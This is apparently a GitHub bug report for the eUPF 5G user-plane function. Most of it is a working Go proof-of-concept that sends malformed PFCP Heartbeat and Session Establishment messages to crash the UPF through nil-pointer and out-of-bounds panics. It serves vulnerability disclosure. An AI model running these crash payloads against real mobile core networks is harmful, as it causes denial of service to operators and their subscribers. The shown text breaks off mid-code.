Skip to content

[Bugs]UPF crash on Heartbeat Request without Recovery Time Stamp #629

Description

@LinZiyuu

Describe the bug
UPF crashes on a malformed PFCP Heartbeat Request that omits the mandatory Recovery Time Stamp IE, leading to DoS.

To Reproduce
Steps to reproduce the behavior:

  1. Launch eUPF
sudo docker run -d --privileged --network host \ -v /sys/fs/bpf:/sys/fs/bpf \ -v /sys/kernel/debug:/sys/kernel/debug:ro \ -e UPF_INTERFACE_NAME=lo \ -e UPF_N3_ADDRESS=127.0.0.1 \ -e UPF_PFCP_ADDRESS="0.0.0.0:8805" \ -e UPF_PFCP_NODE_ID=127.0.0.1 \ -e UPF_API_ADDRESS="0.0.0.0:8080" \ -e UPF_METRICS_ADDRESS="0.0.0.0:9090" \ --name eupf ghcr.io/edgecomllc/eupf:main
  1. Start a new go project inside a new folder and create a main.go and paste the code below:
  2. Init Project go mod init poc
package main

// eUPF PFCP Crash PoCs
// This file contains proof-of-concept code to trigger crashes in eUPF via malformed PFCP messages.
// Based on audit findings in eupf_audit_report.md

import (
    "encoding/binary"
    "errors"
    "flag"
    "fmt"
    "log"
    "net"
    "strings"
    "time"

    "github.com/wmnsk/go-pfcp/ie"
    "github.com/wmnsk/go-pfcp/message"
)

const (
    modeSessionInvalidApply              = "session-invalid-applyaction"
    modeSessionFARIPv4FlagNil            = "session-far-ipv4-flag-nil"
    modeHeartbeatRequestMissingRecovery  = "heartbeat-request-missing-recovery"
    modeHeartbeatResponseMissingRecovery = "heartbeat-response-missing-recovery"
    defaultCPSEID                        = 0x1111222233334444
    heartbeatResponseBufferSize          = 4096
    defaultWaitForResponse               = 5 * time.Second
    defaultAssociationRetrySleep         = 200 * time.Millisecond
)

type seqGenerator struct {
    val uint32
}

func (g *seqGenerator) Next() uint32 {
    g.val++
    if g.val == 0 || g.val > 0xFFFFFF {
        g.val = 1
    }
    return g.val
}

func forcePFCPv1(pkt []byte) {
    if len(pkt) > 0 {
        pkt[0] = (1 << 5) | (pkt[0] & 0x1F)
    }
}

func startReceiver(conn *net.UDPConn) (chan message.Message, chan error, func()) {
    msgCh := make(chan message.Message, 16)
    errCh := make(chan error, 1)
    stop := make(chan struct{})

    go func() {
        defer close(msgCh)
        defer close(errCh)

        buf := make([]byte, heartbeatResponseBufferSize)
        for {
            conn.SetReadDeadline(time.Now().Add(1 * time.Second))
            n, _, err := conn.ReadFromUDP(buf)
            if ne, ok := err.(net.Error); ok && ne.Timeout() {
                select {
                case <-stop:
                    return
                default:
                }
                continue
            }
            if err != nil {
                select {
                case errCh <- err:
                default:
                }
                return
            }

            payload := make([]byte, n)
            copy(payload, buf[:n])
            msg, err := message.Parse(payload)
            if err != nil {
                log.Printf("[rx] failed to parse PFCP message: %v", err)
                continue
            }

            switch msgTyped := msg.(type) {
            case *message.HeartbeatRequest:
                seq := msgTyped.Sequence()
                rsp := message.NewHeartbeatResponse(seq, ie.NewRecoveryTimeStamp(time.Now()))
                raw, err := rsp.Marshal()
                if err != nil {
                    log.Printf("[rx] failed to marshal Heartbeat Response: %v", err)
                    continue
                }
                forcePFCPv1(raw)
                if _, err := conn.Write(raw); err != nil {
                    log.Printf("[rx] failed to send Heartbeat Response: %v", err)
                } else {
                    log.Printf("[rx] ← Heartbeat Request (seq=%d) → responded", seq)
                }
            default:
                select {
                case msgCh <- msg:
                    log.Printf("[rx] ← %s (type=%d, seq=%d)", msg.MessageTypeName(), msg.MessageType(), msg.Sequence())
                default:
                    log.Printf("[rx] dropping %s: channel full", msg.MessageTypeName())
                }
            }

            select {
            case <-stop:
                return
            default:
            }
        }
    }()

    cancel := func() {
        close(stop)
    }

    return msgCh, errCh, cancel
}

func waitForMessage(msgCh <-chan message.Message, errCh <-chan error, timeout time.Duration, match func(message.Message) bool, description string) (message.Message, error) {
    timer := time.NewTimer(timeout)
    defer timer.Stop()

    for {
        select {
        case <-timer.C:
            return nil, fmt.Errorf("timeout waiting for %s", description)
        case err, ok := <-errCh:
            if ok && err != nil {
                return nil, fmt.Errorf("receiver error: %w", err)
            }
        case msg, ok := <-msgCh:
            if !ok {
                return nil, fmt.Errorf("receiver closed while waiting for %s", description)
            }
            if match(msg) {
                return msg, nil
            }
            log.Printf("[wait] ignoring unexpected message: %s (type=%d, seq=%d)", msg.MessageTypeName(), msg.MessageType(), msg.Sequence())
        }
    }
}

func performAssociation(conn *net.UDPConn, seqGen *seqGenerator, msgCh <-chan message.Message, errCh <-chan error, nodeID string, includeUPFInfo bool) error {
    nodeIE := ie.NewNodeID(nodeID, "", "")
    if nodeIE == nil {
        return errors.New("failed to build NodeID IE – ensure --bind is a valid IP or FQDN")
    }

    ies := []*ie.IE{
        nodeIE,
        ie.NewRecoveryTimeStamp(time.Now()),
    }
    if includeUPFInfo {
        ies = append(ies,
            ie.NewUPFunctionFeatures(0x10, 0x00, 0x00, 0x00),
            ie.NewUserPlaneIPResourceInformation(0x41, 0, nodeID, "", "", ie.SrcInterfaceAccess),
        )
    }

    assocSeq := seqGen.Next()
    req := message.NewAssociationSetupRequest(assocSeq, ies...)

    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal association request: %w", err)
    }
    forcePFCPv1(raw)

    log.Printf("[assoc] → Association Setup Request (seq=%d)", assocSeq)
    if _, err := conn.Write(raw); err != nil {
        return fmt.Errorf("send association request: %w", err)
    }

    // Wait for response with timeout
    _, err = waitForMessage(msgCh, errCh, defaultWaitForResponse, func(m message.Message) bool {
        _, ok := m.(*message.AssociationSetupResponse)
        return ok
    }, "Association Setup Response")
    if err != nil {
        log.Printf("[assoc] WARNING: Did not receive Association Setup Response: %v", err)
        log.Printf("[assoc] This might be normal if eUPF crashed or rejected the request")
        log.Printf("[assoc] Continuing anyway - some PoCs may work without association...")
        // Don't return error - some attacks might work even without association
        // (e.g., HeartbeatRequest doesn't require association)
    } else {
        log.Printf("[assoc] Association established; ready for exploit traffic.")
    }
    return nil
}

// sendSessionInvalidApplyAction sends a Session Establishment Request with empty ApplyAction payload
// This triggers array index out of bounds in composeFarInfo() at pfcp_session_handlers.go:570
// when accessing applyAction[0] without checking array length
func sendSessionInvalidApplyAction(conn *net.UDPConn, seqGen *seqGenerator, localIP net.IP, nodeID string, dnn string) error {
    nodeIE := ie.NewNodeID(nodeID, "", "")
    if nodeIE == nil {
        return errors.New("unable to craft NodeID IE; supply --bind as valid IP or FQDN")
    }

    fseidIE := ie.NewFSEID(defaultCPSEID, localIP, nil)
    if fseidIE == nil {
        return errors.New("failed to craft F-SEID IE")
    }

    pdi := ie.NewPDI(
        ie.NewSourceInterface(ie.SrcInterfaceAccess),
        ie.NewNetworkInstance(dnn),
    )

    createPDR := ie.NewCreatePDR(
        ie.NewPDRID(1),
        ie.NewPrecedence(200),
        pdi,
        ie.NewFARID(1),
    )

    // Create FAR with valid ApplyAction first, then we'll modify it to have empty payload
    createFARBase := ie.NewCreateFAR(
        ie.NewFARID(1),
        ie.NewApplyAction(0x02), // Valid ApplyAction first
    )

    req := message.NewSessionEstablishmentRequest(0, 0, defaultCPSEID, seqGen.Next(), 0,
        nodeIE,
        fseidIE,
        createPDR,
        createFARBase,
        ie.NewAPNDNN(dnn),
    )

    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal base session establishment request: %w", err)
    }

    // Manually modify ApplyAction IE to have empty payload
    // ApplyAction IE type is 0x002C (44)
    modified, err := modifyApplyActionToEmpty(raw)
    if err != nil {
        return fmt.Errorf("failed to modify ApplyAction: %w", err)
    }

    forcePFCPv1(modified)

    log.Printf("[poc] → Session Establishment Request (seq=%d, zero-length ApplyAction)", req.Sequence())
    log.Printf("[poc]   This triggers array index out of bounds in composeFarInfo() at pfcp_session_handlers.go:570")
    log.Printf("[poc]   when accessing applyAction[0] (ApplyAction payload is empty)")
    _, err = conn.Write(modified)
    if err != nil {
        return fmt.Errorf("failed to send session establishment request: %w", err)
    }
    log.Printf("[poc]   Message sent successfully. Check eUPF logs for panic stack traces.")
    return nil
}

// modifyApplyActionToEmpty modifies a Session Establishment Request message
// to set ApplyAction IE payload to empty (length 0)
func modifyApplyActionToEmpty(msgBytes []byte) ([]byte, error) {
    const applyActionType = 0x002C // IE Type 44 (ApplyAction)
    const createFARType = 0x0003   // IE Type 3 (Create FAR)

    if len(msgBytes) < 12 {
        return nil, fmt.Errorf("message too short")
    }

    // Skip PFCP message header (4 bytes) and Session Establishment Request header
    // Session Establishment Request structure:
    // - PFCP Header (4 bytes): Version(3) + MessageType(5) + MessageLength(2) + S flag(1) + SEID(8) = 16 bytes
    // - Sequence Number (4 bytes): Sequence(3) + Spare(1)
    // - IEs start at position 16
    pos := 16
    var farStart, farEnd int = -1, -1
    var applyActionStart, applyActionEnd int = -1, -1

    log.Printf("[hex] Searching for CreateFAR in message (length: %d bytes)", len(msgBytes))
    log.Printf("[hex] Message header: %02x %02x %02x %02x", msgBytes[0], msgBytes[1], msgBytes[2], msgBytes[3])

    // Find CreateFAR IE - search all IEs in the message
    for pos < len(msgBytes)-4 {
        if pos+4 > len(msgBytes) {
            break
        }

        ieType := binary.BigEndian.Uint16(msgBytes[pos : pos+2])
        ieLength := uint16(msgBytes[pos+2])<<8 | uint16(msgBytes[pos+3])

        // Validate IE length
        if ieLength > 10000 || pos+4+int(ieLength) > len(msgBytes) {
            log.Printf("[hex] Invalid IE at position %d: type=0x%04x, length=%d", pos, ieType, ieLength)
            break
        }

        log.Printf("[hex] IE at position %d: type=0x%04x, length=%d", pos, ieType, ieLength)

        if ieType == createFARType {
            farStart = pos
            farEnd = pos + 4 + int(ieLength)
            log.Printf("[hex] Found CreateFAR at position %d, length: %d", pos, ieLength)

            // Search for ApplyAction within CreateFAR
            innerPos := pos + 4
            for innerPos < farEnd-4 {
                if innerPos+4 > farEnd {
                    break
                }
                innerType := binary.BigEndian.Uint16(msgBytes[innerPos : innerPos+2])
                innerLength := uint16(msgBytes[innerPos+2])<<8 | uint16(msgBytes[innerPos+3])

                if innerPos+4+int(innerLength) > farEnd {
                    log.Printf("[hex] Invalid inner IE at position %d: type=0x%04x, length=%d", innerPos, innerType, innerLength)
                    break
                }

                log.Printf("[hex] Inner IE at position %d: type=0x%04x, length=%d", innerPos, innerType, innerLength)

                if innerType == applyActionType {
                    applyActionStart = innerPos
                    applyActionEnd = innerPos + 4 + int(innerLength)
                    log.Printf("[hex] Found ApplyAction at position %d, length: %d", innerPos, innerLength)
                    break
                }

                innerPos += 4 + int(innerLength)
            }
            break
        }

        pos += 4 + int(ieLength)
    }

    if farStart == -1 {
        log.Printf("[hex] ERROR: CreateFAR (type=0x%04x) not found in message", createFARType)
        log.Printf("[hex] Searched from position %d to %d", 16, len(msgBytes))
        return nil, fmt.Errorf("CreateFAR not found in message")
    }
    if applyActionStart == -1 {
        log.Printf("[hex] ERROR: ApplyAction (type=0x%04x) not found in CreateFAR", applyActionType)
        return nil, fmt.Errorf("ApplyAction not found in CreateFAR")
    }

    // Create new ApplyAction IE with empty payload
    // IE Header: Type (2 bytes) + Length (2 bytes) = 4 bytes
    // Payload: empty (0 bytes)
    newApplyAction := make([]byte, 4)
    binary.BigEndian.PutUint16(newApplyAction[0:2], applyActionType)
    binary.BigEndian.PutUint16(newApplyAction[2:4], 0) // Length = 0 (empty payload)

    log.Printf("[hex] Original ApplyAction length: %d bytes", applyActionEnd-applyActionStart)
    log.Printf("[hex] New ApplyAction length: %d bytes (empty payload)", len(newApplyAction))

    // Reconstruct message
    result := make([]byte, 0, len(msgBytes)-(applyActionEnd-applyActionStart)+len(newApplyAction))
    result = append(result, msgBytes[:applyActionStart]...)
    result = append(result, newApplyAction...)
    result = append(result, msgBytes[applyActionEnd:farEnd]...)
    result = append(result, msgBytes[farEnd:]...)

    // Update CreateFAR length
    oldFarLength := farEnd - farStart - 4
    newFarLength := oldFarLength - (applyActionEnd - applyActionStart) + len(newApplyAction)
    binary.BigEndian.PutUint16(result[farStart+2:farStart+4], uint16(newFarLength))

    // Update message length in header (bytes 2-3)
    oldMsgLength := binary.BigEndian.Uint16(msgBytes[2:4])
    newMsgLength := oldMsgLength - uint16(applyActionEnd-applyActionStart) + uint16(len(newApplyAction))
    binary.BigEndian.PutUint16(result[2:4], newMsgLength)

    log.Printf("[hex] Message length updated: %d -> %d bytes", oldMsgLength, newMsgLength)

    return result, nil
}

// sendSessionFARIPv4FlagNil sends a Session Establishment Request with OuterHeaderCreation
// that has HasIPv4() flag set but IPv4Address is nil
// This triggers nil pointer dereference in composeFarInfo() at pfcp_session_handlers.go:591
// when accessing outerHeaderCreation.IPv4Address in binary.LittleEndian.Uint32()
func sendSessionFARIPv4FlagNil(conn *net.UDPConn, seqGen *seqGenerator, localIP net.IP, nodeID string, dnn string) error {
    nodeIE := ie.NewNodeID(nodeID, "", "")
    if nodeIE == nil {
        return errors.New("unable to craft NodeID IE; supply --bind as valid IP or FQDN")
    }

    fseidIE := ie.NewFSEID(defaultCPSEID, localIP, nil)
    if fseidIE == nil {
        return errors.New("failed to craft F-SEID IE")
    }

    pdi := ie.NewPDI(
        ie.NewSourceInterface(ie.SrcInterfaceAccess),
        ie.NewNetworkInstance(dnn),
    )

    createPDR := ie.NewCreatePDR(
        ie.NewPDRID(1),
        ie.NewPrecedence(200),
        pdi,
        ie.NewFARID(1),
    )

    // Create base FAR with valid OuterHeaderCreation first
    // We'll manually modify it to have HasIPv4 flag but nil IPv4Address
    baseOuterHeader := ie.NewOuterHeaderCreation(0x0100, 0x12345678, localIP.String(), "", 0, 0, 0)
    createFAR := ie.NewCreateFAR(
        ie.NewFARID(1),
        ie.NewApplyAction(0x02), // Forward action
        ie.NewForwardingParameters(
            ie.NewDestinationInterface(ie.DstInterfaceCore),
            baseOuterHeader,
        ),
    )

    req := message.NewSessionEstablishmentRequest(0, 0, defaultCPSEID, seqGen.Next(), 0,
        nodeIE,
        fseidIE,
        createPDR,
        createFAR,
        ie.NewAPNDNN(dnn),
    )

    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal base session establishment request: %w", err)
    }

    // Manually modify OuterHeaderCreation to have HasIPv4 flag but remove IPv4Address
    modified, err := modifyOuterHeaderCreationIPv4FlagNil(raw)
    if err != nil {
        return fmt.Errorf("failed to modify OuterHeaderCreation: %w", err)
    }

    forcePFCPv1(modified)

    log.Printf("[poc] → Session Establishment Request (seq=%d, FAR OuterHeaderCreation HasIPv4 flag set but IPv4Address nil)", req.Sequence())
    log.Printf("[poc]   This triggers nil pointer dereference in composeFarInfo() at pfcp_session_handlers.go:591")
    log.Printf("[poc]   when accessing outerHeaderCreation.IPv4Address in binary.LittleEndian.Uint32()")
    log.Printf("[poc]   (HasIPv4() returns true but IPv4Address is nil)")
    _, err = conn.Write(modified)
    if err != nil {
        return fmt.Errorf("failed to send session establishment request: %w", err)
    }
    log.Printf("[poc]   Message sent successfully. Check eUPF logs for panic stack traces.")
    return nil
}

// modifyOuterHeaderCreationIPv4FlagNil modifies a Session Establishment Request message
// to set HasIPv4 flag in OuterHeaderCreation but remove the IPv4Address field
func modifyOuterHeaderCreationIPv4FlagNil(msgBytes []byte) ([]byte, error) {
    const outerHeaderCreationType = 0x0054 // IE Type 84 (Outer Header Creation)
    const createFARType = 0x0003           // IE Type 3 (Create FAR)

    if len(msgBytes) < 12 {
        return nil, fmt.Errorf("message too short")
    }

    // Skip PFCP message header (4 bytes) and Session Establishment Request header (8 bytes)
    pos := 12
    var farStart, farEnd int = -1, -1
    var ohcStart, ohcEnd int = -1, -1

    // Find CreateFAR IE
    for pos < len(msgBytes)-4 {
        if pos+4 > len(msgBytes) {
            break
        }

        ieType := binary.BigEndian.Uint16(msgBytes[pos : pos+2])
        ieLength := uint16(msgBytes[pos+2])<<8 | uint16(msgBytes[pos+3])

        if ieType == createFARType {
            farStart = pos
            farEnd = pos + 4 + int(ieLength)
            log.Printf("[hex] Found CreateFAR at position %d, length: %d", pos, ieLength)

            // Search for OuterHeaderCreation within CreateFAR
            innerPos := pos + 4
            for innerPos < farEnd-4 {
                innerType := binary.BigEndian.Uint16(msgBytes[innerPos : innerPos+2])
                innerLength := uint16(msgBytes[innerPos+2])<<8 | uint16(msgBytes[innerPos+3])

                if innerType == outerHeaderCreationType {
                    ohcStart = innerPos
                    ohcEnd = innerPos + 4 + int(innerLength)
                    log.Printf("[hex] Found OuterHeaderCreation at position %d, length: %d", innerPos, innerLength)
                    break
                }

                innerPos += 4 + int(innerLength)
                if innerPos >= farEnd {
                    break
                }
            }
            break
        }

        pos += 4 + int(ieLength)
        if pos > len(msgBytes) {
            break
        }
    }

    if farStart == -1 {
        return nil, fmt.Errorf("CreateFAR not found in message")
    }
    if ohcStart == -1 {
        return nil, fmt.Errorf("OuterHeaderCreation not found in CreateFAR")
    }

    // OuterHeaderCreation structure:
    // - IE Header (4 bytes): Type (2) + Length (2)
    // - Flags (2 bytes): bit 0 = V4, bit 1 = V6, etc.
    // - TEID (4 bytes)
    // - IPv4Address (4 bytes) - if V4 flag is set
    // - IPv6Address (16 bytes) - if V6 flag is set
    // - etc.

    ohcPayloadStart := ohcStart + 4
    if ohcPayloadStart+2 > ohcEnd {
        return nil, fmt.Errorf("OuterHeaderCreation payload too short")
    }

    // Read current flags
    currentFlags := binary.BigEndian.Uint16(msgBytes[ohcPayloadStart : ohcPayloadStart+2])
    log.Printf("[hex] Current OuterHeaderCreation flags: 0x%04x", currentFlags)

    // Check if V4 flag is set (bit 0)
    if currentFlags&0x0100 == 0 {
        return nil, fmt.Errorf("V4 flag not set in OuterHeaderCreation")
    }

    // Check if IPv4Address field exists (should be at offset 6 from payload start)
    if ohcPayloadStart+10 > ohcEnd {
        return nil, fmt.Errorf("OuterHeaderCreation too short for IPv4Address")
    }

    // Create new OuterHeaderCreation without IPv4Address
    // Keep flags with V4 bit set, but remove IPv4Address field
    // New structure: Flags(2) + TEID(4) only
    newOHCPayload := make([]byte, 6)
    copy(newOHCPayload, msgBytes[ohcPayloadStart:ohcPayloadStart+6]) // Copy Flags + TEID

    // Update flags to keep V4 bit set (this is the key - HasIPv4() will return true)
    // But we've removed the IPv4Address field, so IPv4Address will be nil
    newOHCPayload[0] = byte((currentFlags >> 8) & 0xFF)
    newOHCPayload[1] = byte(currentFlags & 0xFF)

    newOHC := make([]byte, 4+len(newOHCPayload))
    binary.BigEndian.PutUint16(newOHC[0:2], outerHeaderCreationType)
    binary.BigEndian.PutUint16(newOHC[2:4], uint16(len(newOHCPayload)))
    copy(newOHC[4:], newOHCPayload)

    log.Printf("[hex] Original OuterHeaderCreation length: %d bytes", ohcEnd-ohcStart)
    log.Printf("[hex] New OuterHeaderCreation length: %d bytes", len(newOHC))
    log.Printf("[hex] Removed %d bytes (IPv4Address field)", (ohcEnd-ohcStart)-len(newOHC))

    // Reconstruct message
    result := make([]byte, 0, len(msgBytes)-(ohcEnd-ohcStart)+len(newOHC))
    result = append(result, msgBytes[:ohcStart]...)
    result = append(result, newOHC...)
    result = append(result, msgBytes[ohcEnd:farEnd]...)
    result = append(result, msgBytes[farEnd:]...)

    // Update CreateFAR length
    oldFarLength := farEnd - farStart - 4
    newFarLength := oldFarLength - (ohcEnd - ohcStart) + len(newOHC)
    binary.BigEndian.PutUint16(result[farStart+2:farStart+4], uint16(newFarLength))

    // Update message length in header (bytes 2-3)
    oldMsgLength := binary.BigEndian.Uint16(msgBytes[2:4])
    newMsgLength := oldMsgLength - uint16(ohcEnd-ohcStart) + uint16(len(newOHC))
    binary.BigEndian.PutUint16(result[2:4], newMsgLength)

    log.Printf("[hex] Message length updated: %d -> %d bytes", oldMsgLength, newMsgLength)

    return result, nil
}

// sendHeartbeatRequestMissingRecovery sends a HeartbeatRequest without RecoveryTimeStamp IE
// This triggers nil pointer dereference in HandlePfcpHeartbeatRequest() at pfcp_hearbeat.go:13
// when accessing hbreq.RecoveryTimeStamp.RecoveryTimeStamp()
func sendHeartbeatRequestMissingRecovery(conn *net.UDPConn, seqGen *seqGenerator) error {
    seq := seqGen.Next()

    // Create HeartbeatRequest without RecoveryTimeStamp
    // go-pfcp library requires RecoveryTimeStamp, so we need to manually construct the message
    req := message.NewHeartbeatRequest(seq, ie.NewRecoveryTimeStamp(time.Now()), nil)
    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal base heartbeat request: %w", err)
    }

    // Remove RecoveryTimeStamp IE from message
    // RecoveryTimeStamp IE type is 0x0060 (96)
    modified, err := removeIEFromMessage(raw, 0x0060)
    if err != nil {
        return fmt.Errorf("failed to remove RecoveryTimeStamp IE: %w", err)
    }

    forcePFCPv1(modified)

    log.Printf("[poc] → Heartbeat Request (seq=%d, missing RecoveryTimeStamp IE)", seq)
    log.Printf("[poc]   This triggers nil pointer dereference in HandlePfcpHeartbeatRequest() at pfcp_hearbeat.go:13")
    log.Printf("[poc]   when accessing hbreq.RecoveryTimeStamp.RecoveryTimeStamp() (RecoveryTimeStamp is nil)")
    _, err = conn.Write(modified)
    if err != nil {
        return fmt.Errorf("failed to send heartbeat request: %w", err)
    }
    log.Printf("[poc]   Message sent successfully. Check eUPF logs for panic stack traces.")
    return nil
}

// sendHeartbeatResponseMissingRecovery sends a HeartbeatResponse without RecoveryTimeStamp IE
// This triggers nil pointer dereference in HandlePfcpHeartbeatResponse() at pfcp_hearbeat.go:28
// when accessing hbresp.RecoveryTimeStamp.RecoveryTimeStamp()
func sendHeartbeatResponseMissingRecovery(conn *net.UDPConn, seqGen *seqGenerator) error {
    seq := seqGen.Next()

    // Create HeartbeatResponse without RecoveryTimeStamp
    // go-pfcp library requires RecoveryTimeStamp, so we need to manually construct the message
    rsp := message.NewHeartbeatResponse(seq, ie.NewRecoveryTimeStamp(time.Now()))
    raw, err := rsp.Marshal()
    if err != nil {
        return fmt.Errorf("marshal base heartbeat response: %w", err)
    }

    // Remove RecoveryTimeStamp IE from message
    // RecoveryTimeStamp IE type is 0x0060 (96)
    modified, err := removeIEFromMessage(raw, 0x0060)
    if err != nil {
        return fmt.Errorf("failed to remove RecoveryTimeStamp IE: %w", err)
    }

    forcePFCPv1(modified)

    log.Printf("[poc] → Heartbeat Response (seq=%d, missing RecoveryTimeStamp IE)", seq)
    log.Printf("[poc]   This triggers nil pointer dereference in HandlePfcpHeartbeatResponse() at pfcp_hearbeat.go:28")
    log.Printf("[poc]   when accessing hbresp.RecoveryTimeStamp.RecoveryTimeStamp() (RecoveryTimeStamp is nil)")
    log.Printf("[poc]   Note: This requires eUPF to send a HeartbeatRequest first, or manually trigger")
    _, err = conn.Write(modified)
    if err != nil {
        return fmt.Errorf("failed to send heartbeat response: %w", err)
    }
    log.Printf("[poc]   Message sent successfully. Check eUPF logs for panic stack traces.")
    return nil
}

// removeIEFromMessage removes an IE of the specified type from a PFCP message
func removeIEFromMessage(msgBytes []byte, ieTypeToRemove uint16) ([]byte, error) {
    if len(msgBytes) < 4 {
        return nil, fmt.Errorf("message too short")
    }

    // Determine message type from header
    messageType := (msgBytes[0] >> 4) & 0x0F

    // Skip PFCP message header (4 bytes)
    // Message structure:
    // - Session Establishment Request (type 50): 4 (header) + 8 (SEID) + 4 (Sequence) = 16
    // - Heartbeat Request/Response (type 1/2): 4 (header) + 3 (Sequence) + 1 (Spare) = 8
    // - Association Setup Request (type 5): 4 (header) + 3 (Sequence) + 1 (Spare) = 8
    pos := 8               // Default for most messages (after header + sequence)
    if messageType == 50 { // Session Establishment Request
        pos = 16
    } else if messageType == 1 || messageType == 2 { // Heartbeat Request/Response
        pos = 8 // 4 (header) + 3 (sequence) + 1 (spare)
    } else if messageType == 5 { // Association Setup Request
        pos = 8 // 4 (header) + 3 (sequence) + 1 (spare)
    } else {
        // For other messages, try to detect structure
        if len(msgBytes) >= 12 {
            // Check if byte 0 has S flag set (bit 0)
            // S flag indicates presence of SEID (Session messages)
            if (msgBytes[0] & 0x01) != 0 {
                pos = 16 // Has SEID (4 header + 8 SEID + 4 sequence)
            } else {
                pos = 8 // No SEID (4 header + 3 sequence + 1 spare)
            }
        }
    }

    log.Printf("[hex] Message type: %d, starting IE search at position %d", messageType, pos)

    var ieStart, ieEnd int = -1, -1

    log.Printf("[hex] Searching for IE type 0x%04x in message (length: %d bytes)", ieTypeToRemove, len(msgBytes))

    for pos < len(msgBytes)-4 {
        if pos+4 > len(msgBytes) {
            break
        }

        ieType := binary.BigEndian.Uint16(msgBytes[pos : pos+2])
        ieLength := uint16(msgBytes[pos+2])<<8 | uint16(msgBytes[pos+3])

        // Validate IE length
        if ieLength > 10000 || pos+4+int(ieLength) > len(msgBytes) {
            log.Printf("[hex] Invalid IE at position %d: type=0x%04x, length=%d", pos, ieType, ieLength)
            break
        }

        log.Printf("[hex] IE at position %d: type=0x%04x, length=%d", pos, ieType, ieLength)

        if ieType == ieTypeToRemove {
            ieStart = pos
            ieEnd = pos + 4 + int(ieLength)
            log.Printf("[hex] Found IE type 0x%04x at position %d, length: %d", ieTypeToRemove, pos, ieLength)
            break
        }

        pos += 4 + int(ieLength)
        if pos > len(msgBytes) {
            break
        }
    }

    if ieStart == -1 {
        log.Printf("[hex] ERROR: IE type 0x%04x not found in message", ieTypeToRemove)
        log.Printf("[hex] Searched from position %d to %d", 4, len(msgBytes))
        return nil, fmt.Errorf("IE type 0x%04x not found in message", ieTypeToRemove)
    }

    // Remove the IE
    result := make([]byte, 0, len(msgBytes)-(ieEnd-ieStart))
    result = append(result, msgBytes[:ieStart]...)
    result = append(result, msgBytes[ieEnd:]...)

    // Update message length in header (bytes 2-3)
    // Message length field is the length of the message excluding the first 4 bytes (header)
    oldMsgLength := binary.BigEndian.Uint16(msgBytes[2:4])
    newMsgLength := oldMsgLength - uint16(ieEnd-ieStart)
    binary.BigEndian.PutUint16(result[2:4], newMsgLength)

    log.Printf("[hex] Removed IE type 0x%04x, message length field: %d -> %d bytes", ieTypeToRemove, oldMsgLength, newMsgLength)
    log.Printf("[hex] Actual message size: %d -> %d bytes", len(msgBytes), len(result))

    return result, nil
}

func main() {
    mode := flag.String("mode", modeSessionInvalidApply, strings.Join([]string{
        "POC attack mode:",
        fmt.Sprintf("  - %s", modeSessionInvalidApply),
        fmt.Sprintf("  - %s", modeSessionFARIPv4FlagNil),
        fmt.Sprintf("  - %s", modeHeartbeatRequestMissingRecovery),
        fmt.Sprintf("  - %s", modeHeartbeatResponseMissingRecovery),
    }, "\n"))
    host := flag.String("host", "127.0.0.1", "eUPF PFCP address")
    port := flag.Int("port", 8805, "eUPF PFCP port")
    bind := flag.String("bind", "127.0.0.2", "local source IP (attacker PFCP address)")
    dnn := flag.String("dnn", "internet", "DNN to include when crafting valid PDRs")
    wait := flag.Duration("wait", defaultAssociationRetrySleep, "delay between association and exploit payload")
    flag.Parse()

    remoteAddr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *host, *port))
    if err != nil {
        log.Fatalf("resolve remote: %v", err)
    }

    localIP := net.ParseIP(*bind)
    if localIP == nil {
        log.Fatalf("invalid bind IP: %s", *bind)
    }
    localAddr := &net.UDPAddr{IP: localIP, Port: 0}

    log.Printf("Attempting to connect to eUPF at %s from %s", remoteAddr.String(), localIP.String())

    // Test connectivity first - try without binding to specific local IP
    testConn, err := net.DialUDP("udp", nil, remoteAddr)
    if err != nil {
        log.Printf("WARNING: Cannot establish UDP connection to %s: %v", remoteAddr.String(), err)
        log.Printf("")
        log.Printf("Diagnostic information:")
        log.Printf("  - Target: %s:%d", *host, *port)
        log.Printf("  - Local bind IP: %s", *bind)
        log.Printf("")
        log.Printf("Troubleshooting steps:")
        log.Printf("  1. If eUPF is in Docker, try using 127.0.0.1 instead:")
        log.Printf("     go run eupf_crash.go -mode %s -host 127.0.0.1 -port 8805 -bind 127.0.0.2", *mode)
        log.Printf("")
        log.Printf("  2. Check if eUPF is running:")
        log.Printf("     ps aux | grep eupf")
        log.Printf("     docker ps | grep eupf")
        log.Printf("")
        log.Printf("  3. Check if port is listening:")
        log.Printf("     netstat -tuln | grep %d", *port)
        log.Printf("     ss -tuln | grep %d", *port)
        log.Printf("")
        log.Printf("  4. Check Docker port mapping:")
        log.Printf("     docker ps --format 'table {{.Names}}\t{{.Ports}}' | grep 8805")
        log.Printf("")
        log.Printf("  5. Test connectivity:")
        log.Printf("     nc -zuv %s %d", *host, *port)
        log.Printf("")
        log.Fatalf("Connection test failed: %v", err)
    }
    testConn.Close()
    log.Printf("Connection test successful!")

    conn, err := net.DialUDP("udp", localAddr, remoteAddr)
    if err != nil {
        log.Fatalf("dial udp: %v", err)
    }
    defer conn.Close()

    msgCh, errCh, cancel := startReceiver(conn)
    defer cancel()

    seqGen := &seqGenerator{}

    log.Printf("Remote eUPF target: %s", remoteAddr.String())
    log.Printf("Local PFCP source: %s", conn.LocalAddr().String())
    log.Printf("Running mode: %s", *mode)
    log.Printf("")

    switch *mode {
    case modeSessionInvalidApply:
        // Try to establish association, but continue even if it fails
        _ = performAssociation(conn, seqGen, msgCh, errCh, *bind, true)
        time.Sleep(*wait)
        log.Printf("[poc] Sending exploit payload (ApplyAction array out of bounds)...")
        if err := sendSessionInvalidApplyAction(conn, seqGen, localIP, *bind, *dnn); err != nil {
            log.Fatalf("send malformed session establishment request (empty ApplyAction): %v", err)
        }
    case modeSessionFARIPv4FlagNil:
        // Try to establish association, but continue even if it fails
        _ = performAssociation(conn, seqGen, msgCh, errCh, *bind, true)
        time.Sleep(*wait)
        log.Printf("[poc] Sending exploit payload (OuterHeaderCreation IPv4Address nil)...")
        if err := sendSessionFARIPv4FlagNil(conn, seqGen, localIP, *bind, *dnn); err != nil {
            log.Fatalf("send malformed session establishment request (FAR IPv4 flag nil): %v", err)
        }
    case modeHeartbeatRequestMissingRecovery:
        // HeartbeatRequest doesn't require association
        if err := sendHeartbeatRequestMissingRecovery(conn, seqGen); err != nil {
